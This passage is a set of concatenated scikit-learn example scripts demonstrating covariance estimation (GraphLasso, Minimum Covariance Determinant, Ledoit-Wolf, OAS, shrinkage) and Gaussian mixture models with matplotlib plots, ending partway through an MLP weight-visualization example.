of samples is small, we need to shrink a lot. As a result, the
Ledoit-Wolf precision is fairly close to the ground truth precision, that
is not far from being diagonal, but the off-diagonal structure is lost.

The l1-penalized estimator can recover part of this off-diagonal
structure. It learns a sparse precision. It is not able to
recover the exact sparsity pattern: it detects too many non-zero
coefficients. However, the highest non-zero coefficients of the l1
estimated correspond to the non-zero coefficients in the ground truth.
Finally, the coefficients of the l1 precision estimate are biased toward
zero: because of the penalty, they are all smaller than the corresponding
ground truth value, as can be seen on the figure.

Note that, the color range of the precision matrices is tweaked to
improve readability of the figure. The full range of values of the
empirical precision is not displayed.

The alpha parameter of the GraphLasso setting the sparsity of the model is
set by internal cross-validation in the GraphLassoCV. As can be
seen on figure 2, the grid to compute the cross-validation score is
iteratively refined in the neighborhood of the maximum.
"""
print(__doc__)
# author: Gael Varoquaux <gael.varoquaux@inria.fr>
# License: BSD 3 clause
# Copyright: INRIA

import numpy as np
from scipy import linalg
from sklearn.datasets import make_sparse_spd_matrix
from sklearn.covariance import GraphLassoCV, ledoit_wolf
import matplotlib.pyplot as plt

##############################################################################
# Generate the data
n_samples = 60
n_features = 20

prng = np.random.RandomState(1)
prec = make_sparse_spd_matrix(n_features, alpha=.98,
                              smallest_coef=.4,
                              largest_coef=.7,
                              random_state=prng)
cov = linalg.inv(prec)
d = np.sqrt(np.diag(cov))
cov /= d
cov /= d[:, np.newaxis]
prec *= d
prec *= d[:, np.newaxis]
X = prng.multivariate_normal(np.zeros(n_features), cov, size=n_samples)
X -= X.mean(axis=0)
X /= X.std(axis=0)

##############################################################################
# Estimate the covariance
emp_cov = np.dot(X.T, X) / n_samples

model = GraphLassoCV()
model.fit(X)
cov_ = model.covariance_
prec_ = model.precision_

lw_cov_, _ = ledoit_wolf(X)
lw_prec_ = linalg.inv(lw_cov_)

##############################################################################
# Plot the results
plt.figure(figsize=(10, 6))
plt.subplots_adjust(left=0.02, right=0.98)

# plot the covariances
covs = [('Empirical', emp_cov), ('Ledoit-Wolf', lw_cov_),
        ('GraphLasso', cov_), ('True', cov)]
vmax = cov_.max()
for i, (name, this_cov) in enumerate(covs):
    plt.subplot(2, 4, i + 1)
    plt.imshow(this_cov, interpolation='nearest', vmin=-vmax, vmax=vmax,
               cmap=plt.cm.RdBu_r)
    plt.xticks(())
    plt.yticks(())
    plt.title('%s covariance' % name)


# plot the precisions
precs = [('Empirical', linalg.inv(emp_cov)), ('Ledoit-Wolf', lw_prec_),
         ('GraphLasso', prec_), ('True', prec)]
vmax = .9 * prec_.max()
for i, (name, this_prec) in enumerate(precs):
    ax = plt.subplot(2, 4, i + 5)
    plt.imshow(np.ma.masked_equal(this_prec, 0),
               interpolation='nearest', vmin=-vmax, vmax=vmax,
               cmap=plt.cm.RdBu_r)
    plt.xticks(())
    plt.yticks(())
    plt.title('%s precision' % name)
    ax.set_axis_bgcolor('.7')

# plot the model selection metric
plt.figure(figsize=(4, 3))
plt.axes([.2, .15, .75, .7])
plt.plot(model.cv_alphas_, np.mean(model.grid_scores, axis=1), 'o-')
plt.axvline(model.alpha_, color='.5')
plt.title('Model selection')
plt.ylabel('Cross-validation score')
plt.xlabel('alpha')

plt.show()






r"""
================================================================
Robust covariance estimation and Mahalanobis distances relevance
================================================================

An example to show covariance estimation with the Mahalanobis
distances on Gaussian distributed data.

For Gaussian distributed data, the distance of an observation
:math:`x_i` to the mode of the distribution can be computed using its
Mahalanobis distance: :math:`d_{(\mu,\Sigma)}(x_i)^2 = (x_i -
\mu)'\Sigma^{-1}(x_i - \mu)` where :math:`\mu` and :math:`\Sigma` are
the location and the covariance of the underlying Gaussian
distribution.

In practice, :math:`\mu` and :math:`\Sigma` are replaced by some
estimates.  The usual covariance maximum likelihood estimate is very
sensitive to the presence of outliers in the data set and therefor,
the corresponding Mahalanobis distances are. One would better have to
use a robust estimator of covariance to guarantee that the estimation is
resistant to "erroneous" observations in the data set and that the
associated Mahalanobis distances accurately reflect the true
organisation of the observations.

The Minimum Covariance Determinant estimator is a robust,
high-breakdown point (i.e. it can be used to estimate the covariance
matrix of highly contaminated datasets, up to
:math:`\frac{n_\text{samples}-n_\text{features}-1}{2}` outliers)
estimator of covariance. The idea is to find
:math:`\frac{n_\text{samples}+n_\text{features}+1}{2}`
observations whose empirical covariance has the smallest determinant,
yielding a "pure" subset of observations from which to compute
standards estimates of location and covariance.

The Minimum Covariance Determinant estimator (MCD) has been introduced
by P.J.Rousseuw in [1].

This example illustrates how the Mahalanobis distances are affected by
outlying data: observations drawn from a contaminating distribution
are not distinguishable from the observations coming from the real,
Gaussian distribution that one may want to work with. Using MCD-based
Mahalanobis distances, the two populations become
distinguishable. Associated applications are outliers detection,
observations ranking, clustering, ...
For visualization purpose, the cubic root of the Mahalanobis distances
are represented in the boxplot, as Wilson and Hilferty suggest [2]

[1] P. J. Rousseeuw. Least median of squares regression. J. Am
    Stat Ass, 79:871, 1984.
[2] Wilson, E. B., & Hilferty, M. M. (1931). The distribution of chi-square.
    Proceedings of the National Academy of Sciences of the United States
    of America, 17, 684-688.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.covariance import EmpiricalCovariance, MinCovDet

n_samples = 125
n_outliers = 25
n_features = 2

# generate data
gen_cov = np.eye(n_features)
gen_cov[0, 0] = 2.
X = np.dot(np.random.randn(n_samples, n_features), gen_cov)
# add some outliers
outliers_cov = np.eye(n_features)
outliers_cov[np.arange(1, n_features), np.arange(1, n_features)] = 7.
X[-n_outliers:] = np.dot(np.random.randn(n_outliers, n_features), outliers_cov)

# fit a Minimum Covariance Determinant (MCD) robust estimator to data
robust_cov = MinCovDet().fit(X)

# compare estimators learnt from the full data set with true parameters
emp_cov = EmpiricalCovariance().fit(X)

###############################################################################
# Display results
fig = plt.figure()
plt.subplots_adjust(hspace=-.1, wspace=.4, top=.95, bottom=.05)

# Show data set
subfig1 = plt.subplot(3, 1, 1)
inlier_plot = subfig1.scatter(X[:, 0], X[:, 1],
                              color='black', label='inliers')
outlier_plot = subfig1.scatter(X[:, 0][-n_outliers:], X[:, 1][-n_outliers:],
                               color='red', label='outliers')
subfig1.set_xlim(subfig1.get_xlim()[0], 11.)
subfig1.set_title("Mahalanobis distances of a contaminated data set:")

# Show contours of the distance functions
xx, yy = np.meshgrid(np.linspace(plt.xlim()[0], plt.xlim()[1], 100),
                     np.linspace(plt.ylim()[0], plt.ylim()[1], 100))
zz = np.c_[xx.ravel(), yy.ravel()]

mahal_emp_cov = emp_cov.mahalanobis(zz)
mahal_emp_cov = mahal_emp_cov.reshape(xx.shape)
emp_cov_contour = subfig1.contour(xx, yy, np.sqrt(mahal_emp_cov),
                                  cmap=plt.cm.PuBu_r,
                                  linestyles='dashed')

mahal_robust_cov = robust_cov.mahalanobis(zz)
mahal_robust_cov = mahal_robust_cov.reshape(xx.shape)
robust_contour = subfig1.contour(xx, yy, np.sqrt(mahal_robust_cov),
                                 cmap=plt.cm.YlOrBr_r, linestyles='dotted')

subfig1.legend([emp_cov_contour.collections[1], robust_contour.collections[1],
                inlier_plot, outlier_plot],
               ['MLE dist', 'robust dist', 'inliers', 'outliers'],
               loc="upper right", borderaxespad=0)
plt.xticks(())
plt.yticks(())

# Plot the scores for each point
emp_mahal = emp_cov.mahalanobis(X - np.mean(X, 0)) ** (0.33)
subfig2 = plt.subplot(2, 2, 3)
subfig2.boxplot([emp_mahal[:-n_outliers], emp_mahal[-n_outliers:]], widths=.25)
subfig2.plot(1.26 * np.ones(n_samples - n_outliers),
             emp_mahal[:-n_outliers], '+k', markeredgewidth=1)
subfig2.plot(2.26 * np.ones(n_outliers),
             emp_mahal[-n_outliers:], '+k', markeredgewidth=1)
subfig2.axes.set_xticklabels(('inliers', 'outliers'), size=15)
subfig2.set_ylabel(r"$\sqrt[3]{\rm{(Mahal. dist.)}}$", size=16)
subfig2.set_title("1. from non-robust estimates\n(Maximum Likelihood)")
plt.yticks(())

robust_mahal = robust_cov.mahalanobis(X - robust_cov.location_) ** (0.33)
subfig3 = plt.subplot(2, 2, 4)
subfig3.boxplot([robust_mahal[:-n_outliers], robust_mahal[-n_outliers:]],
                widths=.25)
subfig3.plot(1.26 * np.ones(n_samples - n_outliers),
             robust_mahal[:-n_outliers], '+k', markeredgewidth=1)
subfig3.plot(2.26 * np.ones(n_outliers),
             robust_mahal[-n_outliers:], '+k', markeredgewidth=1)
subfig3.axes.set_xticklabels(('inliers', 'outliers'), size=15)
subfig3.set_ylabel(r"$\sqrt[3]{\rm{(Mahal. dist.)}}$", size=16)
subfig3.set_title("2. from robust estimates\n(Minimum Covariance Determinant)")
plt.yticks(())

plt.show()






"""
=============================
Ledoit-Wolf vs OAS estimation
=============================

The usual covariance maximum likelihood estimate can be regularized
using shrinkage. Ledoit and Wolf proposed a close formula to compute
the asymptotically optimal shrinkage parameter (minimizing a MSE
criterion), yielding the Ledoit-Wolf covariance estimate.

Chen et al. proposed an improvement of the Ledoit-Wolf shrinkage
parameter, the OAS coefficient, whose convergence is significantly
better under the assumption that the data are Gaussian.

This example, inspired from Chen's publication [1], shows a comparison
of the estimated MSE of the LW and OAS methods, using Gaussian
distributed data.

[1] "Shrinkage Algorithms for MMSE Covariance Estimation"
Chen et al., IEEE Trans. on Sign. Proc., Volume 58, Issue 10, October 2010.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from scipy.linalg import toeplitz, cholesky

from sklearn.covariance import LedoitWolf, OAS

np.random.seed(0)
###############################################################################
n_features = 100
# simulation covariance matrix (AR(1) process)
r = 0.1
real_cov = toeplitz(r ** np.arange(n_features))
coloring_matrix = cholesky(real_cov)

n_samples_range = np.arange(6, 31, 1)
repeat = 100
lw_mse = np.zeros((n_samples_range.size, repeat))
oa_mse = np.zeros((n_samples_range.size, repeat))
lw_shrinkage = np.zeros((n_samples_range.size, repeat))
oa_shrinkage = np.zeros((n_samples_range.size, repeat))
for i, n_samples in enumerate(n_samples_range):
    for j in range(repeat):
        X = np.dot(
            np.random.normal(size=(n_samples, n_features)), coloring_matrix.T)

        lw = LedoitWolf(store_precision=False, assume_centered=True)
        lw.fit(X)
        lw_mse[i, j] = lw.error_norm(real_cov, scaling=False)
        lw_shrinkage[i, j] = lw.shrinkage_

        oa = OAS(store_precision=False, assume_centered=True)
        oa.fit(X)
        oa_mse[i, j] = oa.error_norm(real_cov, scaling=False)
        oa_shrinkage[i, j] = oa.shrinkage_

# plot MSE
plt.subplot(2, 1, 1)
plt.errorbar(n_samples_range, lw_mse.mean(1), yerr=lw_mse.std(1),
             label='Ledoit-Wolf', color='navy', lw=2)
plt.errorbar(n_samples_range, oa_mse.mean(1), yerr=oa_mse.std(1),
             label='OAS', color='darkorange', lw=2)
plt.ylabel("Squared error")
plt.legend(loc="upper right")
plt.title("Comparison of covariance estimators")
plt.xlim(5, 31)

# plot shrinkage coefficient
plt.subplot(2, 1, 2)
plt.errorbar(n_samples_range, lw_shrinkage.mean(1), yerr=lw_shrinkage.std(1),
             label='Ledoit-Wolf', color='navy', lw=2)
plt.errorbar(n_samples_range, oa_shrinkage.mean(1), yerr=oa_shrinkage.std(1),
             label='OAS', color='darkorange', lw=2)
plt.xlabel("n_samples")
plt.ylabel("Shrinkage")
plt.legend(loc="lower right")
plt.ylim(plt.ylim()[0], 1. + (plt.ylim()[1] - plt.ylim()[0]) / 10.)
plt.xlim(5, 31)

plt.show()






"""
=======================================================================
Shrinkage covariance estimation: LedoitWolf vs OAS and max-likelihood
=======================================================================

When working with covariance estimation, the usual approach is to use
a maximum likelihood estimator, such as the
:class:`sklearn.covariance.EmpiricalCovariance`. It is unbiased, i.e. it
converges to the true (population) covariance when given many
observations. However, it can also be beneficial to regularize it, in
order to reduce its variance; this, in turn, introduces some bias. This
example illustrates the simple regularization used in
:ref:`shrunk_covariance` estimators. In particular, it focuses on how to
set the amount of regularization, i.e. how to choose the bias-variance
trade-off.

Here we compare 3 approaches:

* Setting the parameter by cross-validating the likelihood on three folds
  according to a grid of potential shrinkage parameters.

* A close formula proposed by Ledoit and Wolf to compute
  the asymptotically optimal regularization parameter (minimizing a MSE
  criterion), yielding the :class:`sklearn.covariance.LedoitWolf`
  covariance estimate.

* An improvement of the Ledoit-Wolf shrinkage, the
  :class:`sklearn.covariance.OAS`, proposed by Chen et al. Its
  convergence is significantly better under the assumption that the data
  are Gaussian, in particular for small samples.

To quantify estimation error, we plot the likelihood of unseen data for
different values of the shrinkage parameter. We also show the choices by
cross-validation, or with the LedoitWolf and OAS estimates.

Note that the maximum likelihood estimate corresponds to no shrinkage,
and thus performs poorly. The Ledoit-Wolf estimate performs really well,
as it is close to the optimal and is computational not costly. In this
example, the OAS estimate is a bit further away. Interestingly, both
approaches outperform cross-validation, which is significantly most
computationally costly.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from scipy import linalg

from sklearn.covariance import LedoitWolf, OAS, ShrunkCovariance, \
    log_likelihood, empirical_covariance
from sklearn.model_selection import GridSearchCV


###############################################################################
# Generate sample data
n_features, n_samples = 40, 20
np.random.seed(42)
base_X_train = np.random.normal(size=(n_samples, n_features))
base_X_test = np.random.normal(size=(n_samples, n_features))

# Color samples
coloring_matrix = np.random.normal(size=(n_features, n_features))
X_train = np.dot(base_X_train, coloring_matrix)
X_test = np.dot(base_X_test, coloring_matrix)

###############################################################################
# Compute the likelihood on test data

# spanning a range of possible shrinkage coefficient values
shrinkages = np.logspace(-2, 0, 30)
negative_logliks = [-ShrunkCovariance(shrinkage=s).fit(X_train).score(X_test)
                    for s in shrinkages]

# under the ground-truth model, which we would not have access to in real
# settings
real_cov = np.dot(coloring_matrix.T, coloring_matrix)
emp_cov = empirical_covariance(X_train)
loglik_real = -log_likelihood(emp_cov, linalg.inv(real_cov))

###############################################################################
# Compare different approaches to setting the parameter

# GridSearch for an optimal shrinkage coefficient
tuned_parameters = [{'shrinkage': shrinkages}]
cv = GridSearchCV(ShrunkCovariance(), tuned_parameters)
cv.fit(X_train)

# Ledoit-Wolf optimal shrinkage coefficient estimate
lw = LedoitWolf()
loglik_lw = lw.fit(X_train).score(X_test)

# OAS coefficient estimate
oa = OAS()
loglik_oa = oa.fit(X_train).score(X_test)

###############################################################################
# Plot results
fig = plt.figure()
plt.title("Regularized covariance: likelihood and shrinkage coefficient")
plt.xlabel('Regularizaton parameter: shrinkage coefficient')
plt.ylabel('Error: negative log-likelihood on test data')
# range shrinkage curve
plt.loglog(shrinkages, negative_logliks, label="Negative log-likelihood")

plt.plot(plt.xlim(), 2 * [loglik_real], '--r',
         label="Real covariance likelihood")

# adjust view
lik_max = np.amax(negative_logliks)
lik_min = np.amin(negative_logliks)
ymin = lik_min - 6. * np.log((plt.ylim()[1] - plt.ylim()[0]))
ymax = lik_max + 10. * np.log(lik_max - lik_min)
xmin = shrinkages[0]
xmax = shrinkages[-1]
# LW likelihood
plt.vlines(lw.shrinkage_, ymin, -loglik_lw, color='magenta',
           linewidth=3, label='Ledoit-Wolf estimate')
# OAS likelihood
plt.vlines(oa.shrinkage_, ymin, -loglik_oa, color='purple',
           linewidth=3, label='OAS estimate')
# best CV estimator likelihood
plt.vlines(cv.best_estimator_.shrinkage, ymin,
           -cv.best_estimator_.score(X_test), color='cyan',
           linewidth=3, label='Cross-validation best estimate')

plt.ylim(ymin, ymax)
plt.xlim(xmin, xmax)
plt.legend()

plt.show()






"""
=================================
Gaussian Mixture Model Ellipsoids
=================================

Plot the confidence ellipsoids of a mixture of two Gaussians with EM
and variational Dirichlet process.

Both models have access to five components with which to fit the
data. Note that the EM model will necessarily use all five components
while the DP model will effectively only use as many as are needed for
a good fit. This is a property of the Dirichlet Process prior. Here we
can see that the EM model splits some components arbitrarily, because it
is trying to fit too many components, while the Dirichlet Process model
adapts it number of state automatically.

This example doesn't show it, as we're in a low-dimensional space, but
another advantage of the Dirichlet process model is that it can fit
full covariance matrices effectively even when there are less examples
per cluster than there are dimensions in the data, due to
regularization properties of the inference algorithm.
"""

import itertools

import numpy as np
from scipy import linalg
import matplotlib.pyplot as plt
import matplotlib as mpl

from sklearn import mixture

color_iter = itertools.cycle(['navy', 'c', 'cornflowerblue', 'gold',
                              'darkorange'])


def plot_results(X, Y_, means, covariances, index, title):
    splot = plt.subplot(2, 1, 1 + index)
    for i, (mean, covar, color) in enumerate(zip(
            means, covariances, color_iter)):
        v, w = linalg.eigh(covar)
        v = 2. * np.sqrt(2.) * np.sqrt(v)
        u = w[0] / linalg.norm(w[0])
        # as the DP will not use every component it has access to
        # unless it needs it, we shouldn't plot the redundant
        # components.
        if not np.any(Y_ == i):
            continue
        plt.scatter(X[Y_ == i, 0], X[Y_ == i, 1], .8, color=color)

        # Plot an ellipse to show the Gaussian component
        angle = np.arctan(u[1] / u[0])
        angle = 180. * angle / np.pi  # convert to degrees
        ell = mpl.patches.Ellipse(mean, v[0], v[1], 180. + angle, color=color)
        ell.set_clip_box(splot.bbox)
        ell.set_alpha(0.5)
        splot.add_artist(ell)

    plt.xlim(-10., 10.)
    plt.ylim(-3., 6.)
    plt.xticks(())
    plt.yticks(())
    plt.title(title)


# Number of samples per component
n_samples = 500

# Generate random sample, two components
np.random.seed(0)
C = np.array([[0., -0.1], [1.7, .4]])
X = np.r_[np.dot(np.random.randn(n_samples, 2), C),
          .7 * np.random.randn(n_samples, 2) + np.array([-6, 3])]

# Fit a Gaussian mixture with EM using five components
gmm = mixture.GaussianMixture(n_components=5, covariance_type='full').fit(X)
plot_results(X, gmm.predict(X), gmm.means_, gmm.covariances_, 0,
             'Gaussian Mixture')

# Fit a Dirichlet process Gaussian mixture using five components
dpgmm = mixture.DPGMM(n_components=5, covariance_type='full').fit(X)
plot_results(X, dpgmm.predict(X), dpgmm.means_, dpgmm._get_covars(), 1,
             'Dirichlet Process GMM')

plt.show()






"""
================================
Gaussian Mixture Model Selection
================================

This example shows that model selection can be performed with
Gaussian Mixture Models using information-theoretic criteria (BIC).
Model selection concerns both the covariance type
and the number of components in the model.
In that case, AIC also provides the right result (not shown to save time),
but BIC is better suited if the problem is to identify the right model.
Unlike Bayesian procedures, such inferences are prior-free.

In that case, the model with 2 components and full covariance
(which corresponds to the true generative model) is selected.
"""

import numpy as np
import itertools

from scipy import linalg
import matplotlib.pyplot as plt
import matplotlib as mpl

from sklearn import mixture

print(__doc__)

# Number of samples per component
n_samples = 500

# Generate random sample, two components
np.random.seed(0)
C = np.array([[0., -0.1], [1.7, .4]])
X = np.r_[np.dot(np.random.randn(n_samples, 2), C),
          .7 * np.random.randn(n_samples, 2) + np.array([-6, 3])]

lowest_bic = np.infty
bic = []
n_components_range = range(1, 7)
cv_types = ['spherical', 'tied', 'diag', 'full']
for cv_type in cv_types:
    for n_components in n_components_range:
        # Fit a Gaussian mixture with EM
        gmm = mixture.GaussianMixture(n_components=n_components,
                                      covariance_type=cv_type)
        gmm.fit(X)
        bic.append(gmm.bic(X))
        if bic[-1] < lowest_bic:
            lowest_bic = bic[-1]
            best_gmm = gmm

bic = np.array(bic)
color_iter = itertools.cycle(['navy', 'turquoise', 'cornflowerblue',
                              'darkorange'])
clf = best_gmm
bars = []

# Plot the BIC scores
spl = plt.subplot(2, 1, 1)
for i, (cv_type, color) in enumerate(zip(cv_types, color_iter)):
    xpos = np.array(n_components_range) + .2 * (i - 2)
    bars.append(plt.bar(xpos, bic[i * len(n_components_range):
                                  (i + 1) * len(n_components_range)],
                        width=.2, color=color))
plt.xticks(n_components_range)
plt.ylim([bic.min() * 1.01 - .01 * bic.max(), bic.max()])
plt.title('BIC score per model')
xpos = np.mod(bic.argmin(), len(n_components_range)) + .65 +\
    .2 * np.floor(bic.argmin() / len(n_components_range))
plt.text(xpos, bic.min() * 0.97 + .03 * bic.max(), '*', fontsize=14)
spl.set_xlabel('Number of components')
spl.legend([b[0] for b in bars], cv_types)

# Plot the winner
splot = plt.subplot(2, 1, 2)
Y_ = clf.predict(X)
for i, (mean, cov, color) in enumerate(zip(clf.means_, clf.covariances_,
                                           color_iter)):
    v, w = linalg.eigh(cov)
    if not np.any(Y_ == i):
        continue
    plt.scatter(X[Y_ == i, 0], X[Y_ == i, 1], .8, color=color)

    # Plot an ellipse to show the Gaussian component
    angle = np.arctan2(w[0][1], w[0][0])
    angle = 180. * angle / np.pi  # convert to degrees
    v = 2. * np.sqrt(2.) * np.sqrt(v)
    ell = mpl.patches.Ellipse(mean, v[0], v[1], 180. + angle, color=color)
    ell.set_clip_box(splot.bbox)
    ell.set_alpha(.5)
    splot.add_artist(ell)

plt.xticks(())
plt.yticks(())
plt.title('Selected GMM: full model, 2 components')
plt.subplots_adjust(hspace=.35, bottom=.02)
plt.show()






"""
=================================
Gaussian Mixture Model Sine Curve
=================================

This example highlights the advantages of the Dirichlet Process:
complexity control and dealing with sparse data. The dataset is formed
by 100 points loosely spaced following a noisy sine curve. The fit by
the GMM class, using the expectation-maximization algorithm to fit a
mixture of 10 Gaussian components, finds too-small components and very
little structure. The fits by the Dirichlet process, however, show
that the model can either learn a global structure for the data (small
alpha) or easily interpolate to finding relevant local structure
(large alpha), never falling into the problems shown by the GMM class.
"""

import itertools

import numpy as np
from scipy import linalg
import matplotlib.pyplot as plt
import matplotlib as mpl

from sklearn import mixture

color_iter = itertools.cycle(['navy', 'c', 'cornflowerblue', 'gold',
                              'darkorange'])


def plot_results(X, Y_, means, covariances, index, title):
    splot = plt.subplot(3, 1, 1 + index)
    for i, (mean, covar, color) in enumerate(zip(
            means, covariances, color_iter)):
        v, w = linalg.eigh(covar)
        v = 2. * np.sqrt(2.) * np.sqrt(v)
        u = w[0] / linalg.norm(w[0])
        # as the DP will not use every component it has access to
        # unless it needs it, we shouldn't plot the redundant
        # components.
        if not np.any(Y_ == i):
            continue
        plt.scatter(X[Y_ == i, 0], X[Y_ == i, 1], .8, color=color)

        # Plot an ellipse to show the Gaussian component
        angle = np.arctan(u[1] / u[0])
        angle = 180. * angle / np.pi  # convert to degrees
        ell = mpl.patches.Ellipse(mean, v[0], v[1], 180. + angle, color=color)
        ell.set_clip_box(splot.bbox)
        ell.set_alpha(0.5)
        splot.add_artist(ell)

    plt.xlim(-6., 4. * np.pi - 6.)
    plt.ylim(-5., 5.)
    plt.title(title)
    plt.xticks(())
    plt.yticks(())


# Number of samples per component
n_samples = 100

# Generate random sample following a sine curve
np.random.seed(0)
X = np.zeros((n_samples, 2))
step = 4. * np.pi / n_samples

for i in range(X.shape[0]):
    x = i * step - 6.
    X[i, 0] = x + np.random.normal(0, 0.1)
    X[i, 1] = 3. * (np.sin(x) + np.random.normal(0, .2))

# Fit a Gaussian mixture with EM using ten components
gmm = mixture.GaussianMixture(n_components=10, covariance_type='full',
                              max_iter=100).fit(X)
plot_results(X, gmm.predict(X), gmm.means_, gmm.covariances_, 0,
             'Expectation-maximization')

# Fit a Dirichlet process Gaussian mixture using ten components
dpgmm = mixture.DPGMM(n_components=10, covariance_type='full', alpha=0.01,
                      n_iter=100).fit(X)
plot_results(X, dpgmm.predict(X), dpgmm.means_, dpgmm._get_covars(), 1,
             'Dirichlet Process,alpha=0.01')


# Fit a Dirichlet process Gaussian mixture using ten components
dpgmm = mixture.DPGMM(n_components=10, covariance_type='diag', alpha=100.,
                      n_iter=100).fit(X)
plot_results(X, dpgmm.predict(X), dpgmm.means_, dpgmm._get_covars(), 2,
             'Dirichlet Process,alpha=100.')
plt.show()






"""
===============
GMM covariances
===============

Demonstration of several covariances types for Gaussian mixture models.

See :ref:`gmm` for more information on the estimator.

Although GMM are often used for clustering, we can compare the obtained
clusters with the actual classes from the dataset. We initialize the means
of the Gaussians with the means of the classes from the training set to make
this comparison valid.

We plot predicted labels on both training and held out test data using a
variety of GMM covariance types on the iris dataset.
We compare GMMs with spherical, diagonal, full, and tied covariance
matrices in increasing order of performance. Although one would
expect full covariance to perform best in general, it is prone to
overfitting on small datasets and does not generalize well to held out
test data.

On the plots, train data is shown as dots, while test data is shown as
crosses. The iris dataset is four-dimensional. Only the first two
dimensions are shown here, and thus some points are separated in other
dimensions.
"""

# Author: Ron Weiss <ronweiss@gmail.com>, Gael Varoquaux
# Modified by Thierry Guillemot <thierry.guillemot.work@gmail.com>
# License: BSD 3 clause

import matplotlib as mpl
import matplotlib.pyplot as plt

import numpy as np

from sklearn import datasets
from sklearn.mixture import GaussianMixture
from sklearn.model_selection import StratifiedKFold

print(__doc__)

colors = ['navy', 'turquoise', 'darkorange']


def make_ellipses(gmm, ax):
    for n, color in enumerate(colors):
        if gmm.covariance_type == 'full':
            covariances = gmm.covariances_[n][:2, :2]
        elif gmm.covariance_type == 'tied':
            covariances = gmm.covariances_[:2, :2]
        elif gmm.covariance_type == 'diag':
            covariances = np.diag(gmm.covariances_[n][:2])
        elif gmm.covariance_type == 'spherical':
            covariances = np.eye(gmm.means_.shape[1]) * gmm.covariances_[n]
        v, w = np.linalg.eigh(covariances)
        u = w[0] / np.linalg.norm(w[0])
        angle = np.arctan2(u[1], u[0])
        angle = 180 * angle / np.pi  # convert to degrees
        v = 2. * np.sqrt(2.) * np.sqrt(v)
        ell = mpl.patches.Ellipse(gmm.means_[n, :2], v[0], v[1],
                                  180 + angle, color=color)
        ell.set_clip_box(ax.bbox)
        ell.set_alpha(0.5)
        ax.add_artist(ell)

iris = datasets.load_iris()

# Break up the dataset into non-overlapping training (75%) and testing
# (25%) sets.
skf = StratifiedKFold(n_splits=4)
# Only take the first fold.
train_index, test_index = next(iter(skf.split(iris.data, iris.target)))


X_train = iris.data[train_index]
y_train = iris.target[train_index]
X_test = iris.data[test_index]
y_test = iris.target[test_index]

n_classes = len(np.unique(y_train))

# Try GMMs using different types of covariances.
estimators = dict((cov_type, GaussianMixture(n_components=n_classes,
                   covariance_type=cov_type, max_iter=20, random_state=0))
                  for cov_type in ['spherical', 'diag', 'tied', 'full'])

n_estimators = len(estimators)

plt.figure(figsize=(3 * n_estimators // 2, 6))
plt.subplots_adjust(bottom=.01, top=0.95, hspace=.15, wspace=.05,
                    left=.01, right=.99)


for index, (name, estimator) in enumerate(estimators.items()):
    # Since we have class labels for the training data, we can
    # initialize the GMM parameters in a supervised manner.
    estimator.means_init = np.array([X_train[y_train == i].mean(axis=0)
                                    for i in range(n_classes)])

    # Train the other parameters using the EM algorithm.
    estimator.fit(X_train)

    h = plt.subplot(2, n_estimators // 2, index + 1)
    make_ellipses(estimator, h)

    for n, color in enumerate(colors):
        data = iris.data[iris.target == n]
        plt.scatter(data[:, 0], data[:, 1], s=0.8, color=color,
                    label=iris.target_names[n])
    # Plot the test data with crosses
    for n, color in enumerate(colors):
        data = X_test[y_test == n]
        plt.scatter(data[:, 0], data[:, 1], marker='x', color=color)

    y_train_pred = estimator.predict(X_train)
    train_accuracy = np.mean(y_train_pred.ravel() == y_train.ravel()) * 100
    plt.text(0.05, 0.9, 'Train accuracy: %.1f' % train_accuracy,
             transform=h.transAxes)

    y_test_pred = estimator.predict(X_test)
    test_accuracy = np.mean(y_test_pred.ravel() == y_test.ravel()) * 100
    plt.text(0.05, 0.8, 'Test accuracy: %.1f' % test_accuracy,
             transform=h.transAxes)

    plt.xticks(())
    plt.yticks(())
    plt.title(name)

plt.legend(scatterpoints=1, loc='lower right', prop=dict(size=12))


plt.show()






"""
=========================================
Density Estimation for a Gaussian mixture
=========================================

Plot the density estimation of a mixture of two Gaussians. Data is
generated from two Gaussians with different centers and covariance
matrices.
"""

import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import LogNorm
from sklearn import mixture

n_samples = 300

# generate random sample, two components
np.random.seed(0)

# generate spherical data centered on (20, 20)
shifted_gaussian = np.random.randn(n_samples, 2) + np.array([20, 20])

# generate zero centered stretched Gaussian data
C = np.array([[0., -0.7], [3.5, .7]])
stretched_gaussian = np.dot(np.random.randn(n_samples, 2), C)

# concatenate the two datasets into the final training set
X_train = np.vstack([shifted_gaussian, stretched_gaussian])

# fit a Gaussian Mixture Model with two components
clf = mixture.GaussianMixture(n_components=2, covariance_type='full')
clf.fit(X_train)

# display predicted scores by the model as a contour plot
x = np.linspace(-20., 30.)
y = np.linspace(-20., 40.)
X, Y = np.meshgrid(x, y)
XX = np.array([X.ravel(), Y.ravel()]).T
Z = -clf.score_samples(XX)
Z = Z.reshape(X.shape)

CS = plt.contour(X, Y, Z, norm=LogNorm(vmin=1.0, vmax=1000.0),
                 levels=np.logspace(0, 3, 10))
CB = plt.colorbar(CS, shrink=0.8, extend='both')
plt.scatter(X_train[:, 0], X_train[:, 1], .8)

plt.title('Negative log-likelihood predicted by a GMM')
plt.axis('tight')
plt.show()






"""
=====================================
Visualization of MLP weights on MNIST
=====================================

Sometimes looking at the learned coefficients of a neural network can provide
insight into the learning behavior. For example if weights look unstructured,
maybe some were not used at all, or if very large coefficients exist, maybe
regularization was too low or the learning rate too high.

This example shows how to plot some of the first layer weights in a
MLPClassifier trained on the MNIST dataset.

The input data consists of 28x28 pixel handwritten digits, leading to 784
features in the dataset. Therefore the first layer weight matrix have the shape
(784, hidden_layer_sizes[0]).  We can therefore visualize a single column of
the weight matrix as a 28x28 pixel image.

To make the example run faster, we use very few hidden units, and train only
for a very short time. Training longer would result in weights with a much
smoother spatial appearance.
"""
print(__doc__)

import matplotlib.pyplot as plt
from sklearn.datasets import fetch_mldata
from sklearn.neural_network import MLPClassifier

mnist = fetch_mldata("MNIST original")
# rescale the data, use the traditional train/test split
X, y = mnist.data / 255., mnist.target
X_train, X_test = X[:60000], X[60000:]
y_train, y_test = y[:60000], y[60000:]

# mlp = MLPClassifier(hidden_layer_sizes=(100, 100), max_iter=400, alpha=1e-4,
#                     algorithm='sgd', verbose=10, tol=1e-4, random_state=1)
mlp = MLPClassifier(hidden_layer_sizes=(50,), max_iter=10, alpha=1e-4,
